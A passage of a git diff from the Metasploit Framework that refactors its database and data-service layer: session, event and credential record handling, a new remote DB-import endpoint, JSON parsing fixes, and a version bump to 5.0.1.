0 - while chunkoff < @data.length - chunk = @data[chunkoff, chunksz+margin].to_str - off = 0 - while match = chunk[off..-1].match(pat) - off += match.pre_match.length - m_l = match[0].length - break if off >= chunksz # match fully in margin - match_addr = chunkoff + off - found << match_addr if not block_given? or yield(match_addr) - off += m_l - end - chunkoff += chunksz - end - found - end -end -end diff --git a/lib/metasploit/framework/data_service/proxy/event_data_proxy.rb b/lib/metasploit/framework/data_service/proxy/event_data_proxy.rb index ea57b0198dbe..d24e073c624a 100644 --- a/lib/metasploit/framework/data_service/proxy/event_data_proxy.rb +++ b/lib/metasploit/framework/data_service/proxy/event_data_proxy.rb @@ -1,5 +1,16 @@ module EventDataProxy + def events(opts = {}) + begin + self.data_service_operation do |data_service| + add_opts_workspace(opts) + data_service.events(opts) + end + rescue => e + self.log_error(e, "Problem retrieving events") + end + end + def report_event(opts) begin self.data_service_operation do |data_service| diff --git a/lib/metasploit/framework/data_service/proxy/session_data_proxy.rb b/lib/metasploit/framework/data_service/proxy/session_data_proxy.rb index d2ef08565b73..27fe49a05d72 100644 --- a/lib/metasploit/framework/data_service/proxy/session_data_proxy.rb +++ b/lib/metasploit/framework/data_service/proxy/session_data_proxy.rb @@ -20,6 +20,96 @@ def report_session(opts) self.log_error(e, "Problem reporting session") end end + + # Update the attributes of a session entry using opts. + # If opts is a Hash, the values should match the attributes to update and must contain :id. + # If opts is a Msf::Session object, it is converted to a Hash and used for the update. + # The db_record attribute of the Msf::Session object is updated using the returned Mdm::Session. + # + # @param opts [Hash|Msf::Session] Hash containing the updated values. Key should match the attribute to update. + # Must contain :id of record to update. Otherwise, a Msf::Session object is used to update all attributes. + # @return [Mdm::Session] The updated Mdm::Session object. + def update_session(opts) + begin + self.data_service_operation do |data_service| + is_msf_session = false + if !opts.nil? && opts.kind_of?(Msf::Session) + msf_session = opts + is_msf_session = true + tmp_opts = SessionDataProxy.convert_msf_session_to_hash(msf_session) + # only updating session data + opts = tmp_opts[:session_data] + # add back session ID + opts[:id] = msf_session.db_record.id + end + + mdm_session = data_service.update_session(opts) + + # reassign returned Mdm::Session to the Msf::Session's db_record + msf_session.db_record = mdm_session if is_msf_session + + mdm_session + end + rescue => e + self.log_error(e, "Problem updating session") + end + end + + # TODO: handle task info + def self.convert_msf_session_to_hash(msf_session) + hash = Hash.new() + hash[:host_data] = parse_host_opts(msf_session) + hash[:session_data] = parse_session_data(msf_session) + + if (msf_session.via_exploit) + hash[:vuln_info] = parse_vuln_info(msf_session) + end + + return hash + end + + ####### + private + ####### + + def self.parse_session_data(msf_session) + hash = Hash.new() + # TODO: what to do with this shiz + hash[:datastore] = msf_session.exploit_datastore.to_h + hash[:desc] = msf_session.info + hash[:local_id] = msf_session.sid + hash[:platform] = msf_session.session_type + hash[:port] = msf_session.session_port + hash[:stype] = msf_session.type + hash[:via_exploit] = msf_session.via_exploit + hash[:via_payload] = msf_session.via_payload + return hash + end + + def self.parse_host_opts(msf_session) + hash = Hash.new() + hash[:host] = msf_session.session_host + hash[:arch] = msf_session.arch if msf_session.respond_to?(:arch) and msf_session.arch + hash[:workspace] = msf_session.workspace || msf_session[:workspace] + return hash + end + + def self.parse_vuln_info(msf_session) + hash = Hash.new() + if msf_session.via_exploit == "exploit/multi/handler" and msf_session.exploit_datastore['ParentModule'] + hash[:mod_fullname] = msf_session.exploit_datastore['ParentModule'] + else + hash[:mod_fullname] = msf_session.via_exploit + end + + hash[:remote_port] = msf_session.exploit_datastore["RPORT"] + hash[:username] = msf_session.username + hash[:run_id] = msf_session.exploit.user_data.try(:[], :run_id) + + hash[:mod_name] = msf_session.exploit.name + hash[:mod_references] = msf_session.exploit.references + return hash + end end diff --git a/lib/metasploit/framework/data_service/proxy/session_event_data_proxy.rb b/lib/metasploit/framework/data_service/proxy/session_event_data_proxy.rb index ebb58f5be845..3d66db2f37a0 100644 --- a/lib/metasploit/framework/data_service/proxy/session_event_data_proxy.rb +++ b/lib/metasploit/framework/data_service/proxy/session_event_data_proxy.rb @@ -1,5 +1,15 @@ module SessionEventDataProxy + def session_events(opts = {}) + begin + self.data_service_operation do |data_service| + data_service.session_events(opts) + end + rescue => e + self.log_error(e, "Problem retrieving session events") + end + end + def report_session_event(opts) begin self.data_service_operation do |data_service| diff --git a/lib/metasploit/framework/data_service/remote/http/core.rb b/lib/metasploit/framework/data_service/remote/http/core.rb index e5248ef73343..573301bce644 100644 --- a/lib/metasploit/framework/data_service/remote/http/core.rb +++ b/lib/metasploit/framework/data_service/remote/http/core.rb @@ -157,7 +157,8 @@ def make_request(request_type, path, data_hash = nil, query = nil) # simplify query by removing nil values query_str = (!query.nil? && !query.empty?) ? query.compact.to_query : nil uri = URI::HTTP::build({path: path, query: query_str}) - dlog("HTTP #{request_type} request to #{uri.request_uri} with #{data_hash ? data_hash : "nil"}") + # TODO: Re-enable this logging when framework handles true log levels. + #dlog("HTTP #{request_type} request to #{uri.request_uri} with #{data_hash ? data_hash : "nil"}") client = @client_pool.pop case request_type diff --git a/lib/metasploit/framework/data_service/remote/http/data_service_auto_loader.rb b/lib/metasploit/framework/data_service/remote/http/data_service_auto_loader.rb index 615165609c12..d359a7e0cf11 100644 --- a/lib/metasploit/framework/data_service/remote/http/data_service_auto_loader.rb +++ b/lib/metasploit/framework/data_service/remote/http/data_service_auto_loader.rb @@ -19,6 +19,7 @@ module DataServiceAutoLoader autoload :RemoteDbExportDataService, 'metasploit/framework/data_service/remote/http/remote_db_export_data_service' autoload :RemoteVulnAttemptDataService, 'metasploit/framework/data_service/remote/http/remote_vuln_attempt_data_service' autoload :RemoteMsfDataService, 'metasploit/framework/data_service/remote/http/remote_msf_data_service' + autoload :RemoteDbImportDataService, 'metasploit/framework/data_service/remote/http/remote_db_import_data_service.rb' include RemoteHostDataService include RemoteEventDataService @@ -37,4 +38,6 @@ module DataServiceAutoLoader include RemoteDbExportDataService include RemoteVulnAttemptDataService include RemoteMsfDataService -end \ No newline at end of file + include RemoteDbImportDataService + +end diff --git a/lib/metasploit/framework/data_service/remote/http/remote_credential_data_service.rb b/lib/metasploit/framework/data_service/remote/http/remote_credential_data_service.rb index 8b41a02dfbeb..818bd0a2a0f9 100644 --- a/lib/metasploit/framework/data_service/remote/http/remote_credential_data_service.rb +++ b/lib/metasploit/framework/data_service/remote/http/remote_credential_data_service.rb @@ -11,19 +11,19 @@ def creds(opts = {}) path = get_path_select(opts, CREDENTIAL_API_PATH) data = self.get_data(path, nil, opts) rv = json_to_mdm_object(data, CREDENTIAL_MDM_CLASS, []) - parsed_body = JSON.parse(data.response.body).symbolize_keys + parsed_body = JSON.parse(data.response.body, symbolize_names: true) data = parsed_body[:data] data.each do |cred| - if cred['public'] - public_object = to_ar(cred['public']['type'].constantize, cred['public']) + if cred[:public] + public_object = to_ar(cred[:public][:type].constantize, cred[:public]) rv[data.index(cred)].public = public_object end - if cred['private'] - private_object = to_ar(cred['private']['type'].constantize, cred['private']) + if cred[:private] + private_object = to_ar(cred[:private][:type].constantize, cred[:private]) rv[data.index(cred)].private = private_object end - if cred['origin'] - origin_object = to_ar(cred['origin']['type'].constantize, cred['origin']) + if cred[:origin] + origin_object = to_ar(cred[:origin][:type].constantize, cred[:origin]) rv[data.index(cred)].origin = origin_object end end diff --git a/lib/metasploit/framework/data_service/remote/http/remote_db_import_data_service.rb b/lib/metasploit/framework/data_service/remote/http/remote_db_import_data_service.rb new file mode 100644 index 000000000000..f177cc7c6875 --- /dev/null +++ b/lib/metasploit/framework/data_service/remote/http/remote_db_import_data_service.rb @@ -0,0 +1,19 @@ +require 'metasploit/framework/data_service/remote/http/response_data_helper' + +module RemoteDbImportDataService + include ResponseDataHelper + + DB_IMPORT_API_PATH = '/api/v1/db-import' + + def import_file(opts) + filename = opts[:filename] + data = "" + File.open(filename, 'rb') do |f| + data = f.read(f.stat.size) + end + + opts[:data] = Base64.urlsafe_encode64(data) + + self.post_data_async(DB_IMPORT_API_PATH, opts) + end +end diff --git a/lib/metasploit/framework/data_service/remote/http/remote_event_data_service.rb b/lib/metasploit/framework/data_service/remote/http/remote_event_data_service.rb index 26b878420fd6..748131c92abc 100644 --- a/lib/metasploit/framework/data_service/remote/http/remote_event_data_service.rb +++ b/lib/metasploit/framework/data_service/remote/http/remote_event_data_service.rb @@ -1,5 +1,15 @@ +require 'metasploit/framework/data_service/remote/http/response_data_helper' + module RemoteEventDataService + include ResponseDataHelper + EVENT_API_PATH = '/api/v1/events' + EVENT_MDM_CLASS = 'Mdm::Event' + + def events(opts) + path = get_path_select(opts, EVENT_API_PATH) + json_to_mdm_object(self.get_data(path, nil, opts), EVENT_MDM_CLASS, []) + end def report_event(opts) self.post_data_async(EVENT_API_PATH, opts) diff --git a/lib/metasploit/framework/data_service/remote/http/remote_session_data_service.rb b/lib/metasploit/framework/data_service/remote/http/remote_session_data_service.rb index c6c8c83b0c3e..f2148e62da63 100644 --- a/lib/metasploit/framework/data_service/remote/http/remote_session_data_service.rb +++ b/lib/metasploit/framework/data_service/remote/http/remote_session_data_service.rb @@ -14,8 +14,7 @@ def sessions(opts) def report_session(opts) session = opts[:session] if (session.kind_of? Msf::Session) - opts = convert_msf_session_to_hash(session) - opts[:session_dto] = true + opts = SessionDataProxy.convert_msf_session_to_hash(session) elsif (opts[:host]) opts[:host] = opts[:host].address end @@ -25,60 +24,14 @@ def report_session(opts) session.db_record = sess_db end - ####### - private - ####### - - # TODO: handle task info - def convert_msf_session_to_hash(msf_session) - hash = Hash.new() - hash[:host_data] = parse_host_opts(msf_session) - hash[:session_data] = parse_session_data(msf_session) - - if (msf_session.via_exploit) - hash[:vuln_info] = parse_vuln_info(msf_session) + def update_session(opts) + path = SESSION_API_PATH + if opts && opts[:id] + id = opts.delete(:id) + path = "#{SESSION_API_PATH}/#{id}" end - return hash - end - - def parse_session_data(msf_session) - hash = Hash.new() - # TODO: what to do with this shiz - hash[:datastore] = msf_session.exploit_datastore.to_h - hash[:desc] = msf_session.info - hash[:local_id] = msf_session.sid - hash[:platform] = msf_session.session_type - hash[:port] = msf_session.session_port - hash[:stype] = msf_session.type - hash[:via_exploit] = msf_session.via_exploit - hash[:via_payload] = msf_session.via_payload - return hash - end - - def parse_host_opts(msf_session) - hash = Hash.new() - hash[:host] = msf_session.session_host - hash[:arch] = msf_session.arch if msf_session.respond_to?(:arch) and msf_session.arch - hash[:workspace] = msf_session.workspace || msf_session[:workspace] - return hash + json_to_mdm_object(self.put_data(path, opts), SESSION_MDM_CLASS, []).first end - def parse_vuln_info(msf_session) - hash = Hash.new() - if msf_session.via_exploit == "exploit/multi/handler" and msf_session.exploit_datastore['ParentModule'] - hash[:mod_fullname] = msf_session.exploit_datastore['ParentModule'] - else - hash[:mod_fullname] = msf_session.via_exploit - end - - hash[:remote_port] = msf_session.exploit_datastore["RPORT"] - hash[:username] = msf_session.username - hash[:run_id] = msf_session.exploit.user_data.try(:[], :run_id) - - hash[:mod_name] = msf_session.exploit.name - hash[:mod_references] = msf_session.exploit.references - return hash - end end - diff --git a/lib/metasploit/framework/data_service/remote/http/remote_session_event_data_service.rb b/lib/metasploit/framework/data_service/remote/http/remote_session_event_data_service.rb index 4fc87c13de90..61960e0b20f5 100644 --- a/lib/metasploit/framework/data_service/remote/http/remote_session_event_data_service.rb +++ b/lib/metasploit/framework/data_service/remote/http/remote_session_event_data_service.rb @@ -6,7 +6,7 @@ module RemoteSessionEventDataService SESSION_EVENT_API_PATH = '/api/v1/session-events' SESSION_EVENT_MDM_CLASS = 'Mdm::SessionEvent' - def session_events(opts = {}) + def session_events(opts) path = get_path_select(opts, SESSION_EVENT_API_PATH) json_to_mdm_object(self.get_data(path, nil, opts), SESSION_EVENT_MDM_CLASS, []) end diff --git a/lib/metasploit/framework/data_service/remote/http/response_data_helper.rb b/lib/metasploit/framework/data_service/remote/http/response_data_helper.rb index ec170fc61a71..5a8723598197 100644 --- a/lib/metasploit/framework/data_service/remote/http/response_data_helper.rb +++ b/lib/metasploit/framework/data_service/remote/http/response_data_helper.rb @@ -49,7 +49,7 @@ def json_to_mdm_object(response_wrapper, mdm_class, returns_on_error = nil) begin body = process_response(response_wrapper) if !body.nil? && !body.empty? - parsed_body = JSON.parse(body).symbolize_keys + parsed_body = JSON.parse(body, symbolize_names: true) data = Array.wrap(parsed_body[:data]) rv = [] data.each do |json_object| @@ -99,7 +99,7 @@ def process_file(base64_file, save_path) # @return [ActiveRecord::Base] A klass object, which inherits from ActiveRecord::Base. def to_ar(klass, val, base_object = nil) return nil unless val - data = val.class == Hash ? val.dup : JSON.parse(val) + data = val.class == Hash ? val.dup : JSON.parse(val, symbolize_names: true) obj = base_object || klass.new obj_associations = klass.reflect_on_all_associations(:has_many).reduce({}) do |reflection, i| @@ -107,7 +107,9 @@ def to_ar(klass, val, base_object = nil) reflection end - data.except(*obj.attributes.keys).each do |k, v| + obj_attribute_names = obj.attributes.transform_keys(&:to_sym).keys + + data.except(*obj_attribute_names).each do |k, v| association = klass.reflect_on_association(k) next unless association @@ -133,7 +135,7 @@ def to_ar(klass, val, base_object = nil) end end end - obj.assign_attributes(data.slice(*obj.attributes.keys)) + obj.assign_attributes(data.slice(*obj_attribute_names)) obj.instance_eval do # prevent save diff --git a/lib/metasploit/framework/data_service/stubs/event_data_service.rb b/lib/metasploit/framework/data_service/stubs/event_data_service.rb index 72511ea8cb27..fb37c3e1e7d5 100644 --- a/lib/metasploit/framework/data_service/stubs/event_data_service.rb +++ b/lib/metasploit/framework/data_service/stubs/event_data_service.rb @@ -1,7 +1,10 @@ module EventDataService + def events(opts) + raise 'EventDataService#events is not implemented' + end + def report_event(opts) raise 'EventDataService#report_event is not implemented' end - end \ No newline at end of file diff --git a/lib/metasploit/framework/data_service/stubs/session_data_service.rb b/lib/metasploit/framework/data_service/stubs/session_data_service.rb index 2d3b22a4327d..f3a2e8dea7d3 100644 --- a/lib/metasploit/framework/data_service/stubs/session_data_service.rb +++ b/lib/metasploit/framework/data_service/stubs/session_data_service.rb @@ -6,4 +6,8 @@ def sessions(opts) def report_session(opts) raise 'SessionDataService#report_session is not implemented' end + + def update_session(opts) + raise 'SessionDataService#update_session is not implemented' + end end \ No newline at end of file diff --git a/lib/metasploit/framework/data_service/stubs/session_event_service.rb b/lib/metasploit/framework/data_service/stubs/session_event_service.rb index 1f729c90f20e..bdd03d04e2ba 100644 --- a/lib/metasploit/framework/data_service/stubs/session_event_service.rb +++ b/lib/metasploit/framework/data_service/stubs/session_event_service.rb @@ -1,5 +1,9 @@ module SessionEventDataService + def session_events(opts) + raise 'SessionEventDataService#session_events is not implemented' + end + def report_session_event(opts) raise 'SessionEventDataService#report_session_event is not implemented' end diff --git a/lib/metasploit/framework/spec/threads/suite.rb b/lib/metasploit/framework/spec/threads/suite.rb index 3033679f4faf..dcee3034a737 100644 --- a/lib/metasploit/framework/spec/threads/suite.rb +++ b/lib/metasploit/framework/spec/threads/suite.rb @@ -12,7 +12,7 @@ module Suite # # Number of allowed threads when threads are counted in `after(:suite)` or `before(:suite)` - EXPECTED_THREAD_COUNT_AROUND_SUITE = 2 + EXPECTED_THREAD_COUNT_AROUND_SUITE = ENV['REMOTE_DB'] ? 3 : 2 # `caller` for all Thread.new calls LOG_PATHNAME = Pathname.new('log/metasploit/framework/spec/threads/suite.log') diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index cfb44957ea0e..f477f0122de2 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,7 +30,7 @@ def self.get_hash end end - VERSION = "5.0.0" + VERSION = "5.0.1" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash diff --git a/lib/msf/base/sessions/meterpreter.rb b/lib/msf/base/sessions/meterpreter.rb index 9bcf08b1f3ac..07d31657fb48 100644 --- a/lib/msf/base/sessions/meterpreter.rb +++ b/lib/msf/base/sessions/meterpreter.rb @@ -522,8 +522,7 @@ def load_session_info }) if self.db_record - self.db_record.desc = safe_info - self.db_record.save! + framework.db.update_session(self) end # XXX: This is obsolete given the Mdm::Host.normalize_os() support for host.os.session_fingerprint diff --git a/lib/msf/core/author.rb b/lib/msf/core/author.rb index e88ed6164c3a..5e2e38f6914d 100644 --- a/lib/msf/core/author.rb +++ b/lib/msf/core/author.rb @@ -18,6 +18,7 @@ class Msf::Author 'amaloteaux' => 'alex_maloteaux' + 0x40.chr + 'metasploit.com', 'aushack' => 'patrick' + 0x40.chr + 'osisecurity.com.au', 'bannedit' => 'bannedit' + 0x40.chr + 'metasploit.com', + 'bcoles' => 'bcoles' + 0x40.chr + 'gmail.com', 'Carlos Perez' => 'carlos_perez' + 0x40.chr + 'darkoperator.com', 'cazz' => 'bmc' + 0x40.chr + 'shmoo.com', 'CG' => 'cg' + 0x40.chr + 'carnal0wnage.com', diff --git a/lib/msf/core/auxiliary/report.rb b/lib/msf/core/auxiliary/report.rb index 8936e735c778..f5c931f11a05 100644 --- a/lib/msf/core/auxiliary/report.rb +++ b/lib/msf/core/auxiliary/report.rb @@ -443,7 +443,7 @@ def store_loot(ltype, ctype, host, data, filename=nil, info=nil, service=nil) # module, such as files from fileformat exploits. (TODO: actually # implement this on file format modules.) # - # +filenmae+ is the local file name. + # +filename+ is the local file name. # # +data+ is the actual contents of the file # diff --git a/lib/msf/core/db_manager/cred.rb b/lib/msf/core/db_manager/cred.rb index c816cf1ff8cc..ad23f14a141d 100644 --- a/lib/msf/core/db_manager/cred.rb +++ b/lib/msf/core/db_manager/cred.rb @@ -262,7 +262,9 @@ def update_credential(opts) end id = opts.delete(:id) - Metasploit::Credential::Core.update(id, opts) + cred = Metasploit::Credential::Core.find(id) + cred.update!(opts) + return cred } end diff --git a/lib/msf/core/db_manager/event.rb b/lib/msf/core/db_manager/event.rb index 373ca70a7c9e..b86609f6f477 100644 --- a/lib/msf/core/db_manager/event.rb +++ b/lib/msf/core/db_manager/event.rb @@ -1,16 +1,53 @@ module Msf::DBManager::Event - def events(wspace=workspace) + DEFAULT_ORDER = :desc + DEFAULT_LIMIT = 100 + DEFAULT_OFFSET = 0 + + # Retrieves events that are stored in the database. + # + # @param opts [Hash] Hash containing query key-value pairs based on the event model. + # @option opts :id [Integer] A specific event ID. If specified, all other options are ignored. + # + # Additional query options: + # @option opts :workspace [String] The workspace from which the data should be gathered from. (Required) + # @option opts :order [Symbol|String] The event created_at sort order. + # Valid values: :asc, :desc, 'asc' or 'desc'. Default: :desc + # @option opts :limit [Integer] The maximum number of events that will be retrieved from the query. + # Default: 100 + # @option opts :offset [Integer] The number of events the query will begin reading from the start + # of the set. Default: 0 + # @option opts :search_term [String] Search regular expression used to filter results. + # All fields are converted to strings and results are returned if the pattern is matched. + # @return [Array|Mdm::Event::ActiveRecord_AssociationRelation] events that are matched. + def events(opts) ::ActiveRecord::Base.connection_pool.with_connection { # If we have the ID, there is no point in creating a complex query. if opts[:id] && !opts[:id].to_s.empty? return Array.wrap(Mdm::Event.find(opts[:id])) end - wspace.events.find :all, :order => 'created_at ASC' + wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework) + + order = opts.delete(:order) + order = order.nil? ? DEFAULT_ORDER : order.to_sym + + limit = opts.delete(:limit) || DEFAULT_LIMIT + offset = opts.delete(:offset) || DEFAULT_OFFSET + + search_term = opts.delete(:search_term) + results = wspace.events.where(opts).order(created_at: order).offset(offset).limit(limit) + + if search_term && !search_term.empty? + re_search_term = /#{search_term}/mi + results = results.select { |event| + event.attribute_names.any? { |a| event[a.intern].to_s.match(re_search_term) } + } + end + results } end - def report_event(opts = {}) + def report_event(opts) return if not active ::ActiveRecord::Base.connection_pool.with_connection { wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework) diff --git a/lib/msf/core/db_manager/host.rb b/lib/msf/core/db_manager/host.rb index 10b62d3ac92a..d96037be402f 100644 --- a/lib/msf/core/db_manager/host.rb +++ b/lib/msf/core/db_manager/host.rb @@ -241,7 +241,7 @@ def report_host(opts) host.info = host.info[0,::Mdm::Host.columns_hash["info"].limit] if host.info # Set default fields if needed - host.state = Msf::HostState::Alive unless host.state + host.state = Msf::HostState::Alive if host.state.nil? || host.state.empty? host.comm = '' unless host.comm host.workspace = wspace unless host.workspace @@ -258,9 +258,9 @@ def report_host(opts) msf_import_timestamps(opts, host) host.save! end - rescue ActiveRecord::RecordNotUnique - # two concurrent report requests for a new host could result in a RecordNotUnique exception - # simply retry the report once more as an optimistic approach + rescue ActiveRecord::RecordNotUnique, ActiveRecord::RecordInvalid + # two concurrent report requests for a new host could result in a RecordNotUnique or + # RecordInvalid exception, simply retry the report once more as an optimistic approach retry if (retry_attempts+=1) <= 1 raise end @@ -283,7 +283,9 @@ def update_host(opts) opts[:workspace] = wspace if wspace id = opts.delete(:id) - Mdm::Host.update(id, opts) + host = Mdm::Host.find(id) + host.update!(opts) + return host } end diff --git a/lib/msf/core/db_manager/import/metasploit_framework/xml.rb b/lib/msf/core/db_manager/import/metasploit_framework/xml.rb index 19eb3a97d223..f71bb7f25615 100644 --- a/lib/msf/core/db_manager/import/metasploit_framework/xml.rb +++ b/lib/msf/core/db_manager/import/metasploit_framework/xml.rb @@ -229,7 +229,7 @@ def import_msf_web_vuln_element(element, options={}, ¬ifier) # TODO: loot, tasks, and reports def import_msf_xml(args={}, &block) data = args[:data] - wspace = args[:wspace] || workspace + wspace = args[:wspace] || workspace || Msf::Util::DBManager.process_opts_workspace(args, framework).name bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] doc = Nokogiri::XML::Reader.from_memory(data) diff --git a/lib/msf/core/db_manager/login.rb b/lib/msf/core/db_manager/login.rb index e8c603809c16..eefbe66f7edc 100644 --- a/lib/msf/core/db_manager/login.rb +++ b/lib/msf/core/db_manager/login.rb @@ -10,7 +10,9 @@ def update_login(opts) wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework, false) opts[:workspace] = wspace if wspace id = opts.delete(:id) - Metasploit::Credential::Login.update(id, opts) + login = Metasploit::Credential::Login.find(id) + login.update!(opts) + return login } end diff --git a/lib/msf/core/db_manager/loot.rb b/lib/msf/core/db_manager/loot.rb index 0109c2f85449..e0cb0b983d53 100644 --- a/lib/msf/core/db_manager/loot.rb +++ b/lib/msf/core/db_manager/loot.rb @@ -102,7 +102,9 @@ def update_loot(opts) opts[:workspace] = wspace if wspace id = opts.delete(:id) - Mdm::Loot.update(id, opts) + loot = Mdm::Loot.find(id) + loot.update!(opts) + return loot } end @@ -128,4 +130,4 @@ def delete_loot(opts) return deleted } end -end \ No newline at end of file +end diff --git a/lib/msf/core/db_manager/note.rb b/lib/msf/core/db_manager/note.rb index 0177691852a7..906e2997901b 100644 --- a/lib/msf/core/db_manager/note.rb +++ b/lib/msf/core/db_manager/note.rb @@ -200,7 +200,9 @@ def update_note(opts) opts[:workspace] = wspace if wspace id = opts.delete(:id) - Mdm::Note.update(id, opts) + note = Mdm::Note.find(id) + note.update!(opts) + return note } end diff --git a/lib/msf/core/db_manager/ref.rb b/lib/msf/core/db_manager/ref.rb index 232c47b9ab0b..22f438ee19d7 100644 --- a/lib/msf/core/db_manager/ref.rb +++ b/lib/msf/core/db_manager/ref.rb @@ -4,10 +4,16 @@ module Msf::DBManager::Ref # def find_or_create_ref(opts) ret = {} - ret[:ref] = get_ref(opts[:name]) - return ret[:ref] if ret[:ref] ::ActiveRecord::Base.connection_pool.with_connection { + if opts[:id] && !opts[:id].to_s.empty? + return Mdm::Ref.find(opts[:id]) + end + + if opts[:ref] + return get_ref(opts[:name]) + end + ref = ::Mdm::Ref.where(name: opts[:name]).first_or_initialize begin @@ -20,7 +26,7 @@ def find_or_create_ref(opts) if ref and ref.changed? ref.save! end - ret[:ref] = ref + ref } end @@ -38,4 +44,4 @@ def has_ref?(name) Mdm::Ref.find_by_name(name) } end -end \ No newline at end of file +end diff --git a/lib/msf/core/db_manager/service.rb b/lib/msf/core/db_manager/service.rb index 852b72442ca4..7bab5c766332 100644 --- a/lib/msf/core/db_manager/service.rb +++ b/lib/msf/core/db_manager/service.rb @@ -170,7 +170,9 @@ def update_service(opts) ::ActiveRecord::Base.connection_pool.with_connection { id = opts.delete(:id) - Mdm::Service.update(id, opts) + service = Mdm::Service.find(id) + service.update!(opts) + return service } end end diff --git a/lib/msf/core/db_manager/session.rb b/lib/msf/core/db_manager/session.rb index 6a48afaf3afd..382b138c8a6e 100644 --- a/lib/msf/core/db_manager/session.rb +++ b/lib/msf/core/db_manager/session.rb @@ -178,6 +178,22 @@ def report_session_dto(session_dto) } end + # Update the attributes of a session entry with the values in opts. + # The values in opts should match the attributes to update. + # + # @param opts [Hash] Hash containing the updated values. Key should match the attribute to update. Must contain :id of record to update. + # @return [Mdm::Session] The updated Mdm::Session object. + def update_session(opts) + return if not active + + ::ActiveRecord::Base.connection_pool.with_connection { + id = opts.delete(:id) + session = ::Mdm::Session.find(id) + session.update!(opts) + return session + } + end + # Clean out any stale sessions that have been orphaned by a dead framework instance. # @param last_seen_interval [Integer] interval, in seconds, open sessions are marked as alive def remove_stale_sessions(last_seen_interval) diff --git a/lib/msf/core/db_manager/session_event.rb b/lib/msf/core/db_manager/session_event.rb index 76a1a90f410b..cfdb01fef961 100644 --- a/lib/msf/core/db_manager/session_event.rb +++ b/lib/msf/core/db_manager/session_event.rb @@ -1,16 +1,52 @@ module Msf::DBManager::SessionEvent + DEFAULT_ORDER = :desc + DEFAULT_LIMIT = 100 + DEFAULT_OFFSET = 0 + # Retrieves session events that are stored in the database. + # + # @param opts [Hash] Hash containing query key-value pairs based on the session event model. + # @option opts :id [Integer] A specific session event ID. If specified, all other options are ignored. + # + # Additional query options: + # @option opts :order [Symbol|String] The session event created_at sort order. + # Valid values: :asc, :desc, 'asc' or 'desc'. Default: :desc + # @option opts :limit [Integer] The maximum number of session events that will be retrieved from the query. + # Default: 100 + # @option opts :offset [Integer] The number of session events the query will begin reading from the start + # of the set. Default: 0 + # @option opts :search_term [String] Search regular expression used to filter results. + # All fields are converted to strings and results are returned if the pattern is matched. + # @return [Array|Mdm::SessionEvent::ActiveRecord_Relation] session events that are matched. def session_events(opts) ::ActiveRecord::Base.connection_pool.with_connection { # If we have the ID, there is no point in creating a complex query. if opts[:id] && !opts[:id].to_s.empty? return Array.wrap(Mdm::SessionEvent.find(opts[:id])) end - conditions = {} - Mdm::SessionEvent.all + # Passing workspace keys to the search will cause exceptions, so remove them if they were accidentally included. + Msf::Util::DBManager.delete_opts_workspace(opts) + + order = opts.delete(:order) + order = order.nil? ? DEFAULT_ORDER : order.to_sym + + limit = opts.delete(:limit) || DEFAULT_LIMIT + offset = opts.delete(:offset) || DEFAULT_OFFSET + + search_term = opts.delete(:search_term) + results = Mdm::SessionEvent.where(opts).order(created_at: order).offset(offset).limit(limit) + + if search_term && !search_term.empty? + re_search_term = /#{search_term}/mi + results = results.select { |event| + event.attribute_names.any? { |a| event[a.intern].to_s.match(re_search_term) } + } + end + results } end + # # Record a session event in the database # diff --git a/lib/msf/core/db_manager/user.rb b/lib/msf/core/db_manager/user.rb index 41acc3ef1700..3374c1c9535c 100644 --- a/lib/msf/core/db_manager/user.rb +++ b/lib/msf/core/db_manager/user.rb @@ -1,5 +1,5 @@ require 'bcrypt' -require 'sysrandom/securerandom' +require 'securerandom' module Msf::DBManager::User @@ -75,7 +75,9 @@ def report_user(opts) def update_user(opts) ::ActiveRecord::Base.connection_pool.with_connection { id = opts.delete(:id) - Mdm::User.update(id, opts) + user = Mdm::User.find(id) + user.update!(opts) + return user } end @@ -133,7 +135,9 @@ def create_new_user_token(opts) token_length = opts[:token_length] || MIN_TOKEN_LENGTH # NOTE: repurposing persistence_token in the database as the API token - Mdm::User.update(opts[:id], {persistence_token: SecureRandom.hex(token_length)}).persistence_token + user = Mdm::User.find(opts[:id]) + user.update!({persistence_token: SecureRandom.hex(token_length)}) + user.persistence_token end end diff --git a/lib/msf/core/db_manager/vuln.rb b/lib/msf/core/db_manager/vuln.rb index a4dff43b57e2..c499fe4a6d2b 100644 --- a/lib/msf/core/db_manager/vuln.rb +++ b/lib/msf/core/db_manager/vuln.rb @@ -262,8 +262,9 @@ def update_vuln(opts) ::ActiveRecord::Base.connection_pool.with_connection { wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework, false) opts[:workspace] = wspace if wspace - id = opts.delete(:id) - Mdm::Vuln.update(id, opts) + v = Mdm::Vuln.find(opts.delete(:id)) + v.update!(opts) + v } end diff --git a/lib/msf/core/db_manager/vuln_detail.rb b/lib/msf/core/db_manager/vuln_detail.rb index 7d3e52ecccfc..78ef2943c2ee 100644 --- a/lib/msf/core/db_manager/vuln_detail.rb +++ b/lib/msf/core/db_manager/vuln_detail.rb @@ -25,7 +25,9 @@ def report_vuln_details(vuln, details) def update_vuln_details(details) ::ActiveRecord::Base.connection_pool.with_connection { criteria = details.delete(:key) || {} - ::Mdm::VulnDetail.update(key, details) + vuln_detail = ::Mdm::VulnDetail.find(key) + vuln_detail.update!(criteria) + return vuln_detail } end -end \ No newline at end of file +end diff --git a/lib/msf/core/db_manager/workspace.rb b/lib/msf/core/db_manager/workspace.rb index 1a3117a15983..ea236923b09a 100644 --- a/lib/msf/core/db_manager/workspace.rb +++ b/lib/msf/core/db_manager/workspace.rb @@ -99,7 +99,7 @@ def update_workspace(opts) ::ActiveRecord::Base.connection_pool.with_connection { ws_to_update = workspaces({ id: opts.delete(:id) }).first default_renamed = true if ws_to_update.name == DEFAULT_WORKSPACE_NAME - updated_ws = Mdm::Workspace.update(ws_to_update.id, opts) + updated_ws = ws_to_update.update!(opts) add_workspace({ name: DEFAULT_WORKSPACE_NAME }) if default_renamed updated_ws } diff --git a/lib/msf/core/exploit/cmdstager.rb 